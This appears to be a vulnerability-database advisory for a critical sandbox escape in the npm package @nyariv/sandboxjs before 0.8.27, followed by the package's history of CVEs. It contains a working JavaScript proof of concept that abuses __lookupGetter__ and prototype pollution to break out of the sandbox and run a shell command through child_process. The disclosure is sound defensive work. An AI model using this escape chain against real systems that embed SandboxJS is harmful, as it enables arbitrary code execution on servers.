Critical

SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE

  • Disclosed: 02.02.2026
  • Updated: 11.10.2026 10:22

Summary

SandboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.

Details

https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398

The Object prototype which contains __lookupGetter__ is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.

PoC

js
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
let getProto = Object.toString.__lookupGetter__("__proto__")
let m = getProto.call(new Map());
m.has = isFinite;

console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`
sb.compile(payload)().run();

Impact

Prototype Pollution -> RCE

Affected software

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PlatformPackageVulnerable versionsFixed in
npm package @nyariv/sandboxjs < 0.8.27 0.8.27

References

CVSS score 10/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-1321, CWE-94
Platform
npm
Package
@nyariv/sandboxjs
Disclosed
02.02.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-9p4w-fq8m-2hp7 - CC BY 4.0

Vulnerability history: @nyariv/sandboxjs

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (14) in the archive
Total entries
14
First → latest
07.2025 05.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 10
  • High 1
  • Medium 3

Disclosures per year

  1. 2025: 1
  2. 2026: 13
Severity:
  1. Critical · 10.0 CVE-2026-34208 < 0.8.36 0.8.36
  2. Critical · 10.0 CVE-2026-26954 < 0.8.34 0.8.34
  3. Critical · 10.0 CVE-2026-25587 < 0.8.29 0.8.29
  4. Critical · 10.0 CVE-2026-25520 < 0.8.29 0.8.29
  5. SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE this entry
    Critical · 10.0 CVE-2026-25142 < 0.8.27 0.8.27
  6. Critical · 10.0 CVE-2026-23830 < 0.8.26 0.8.26

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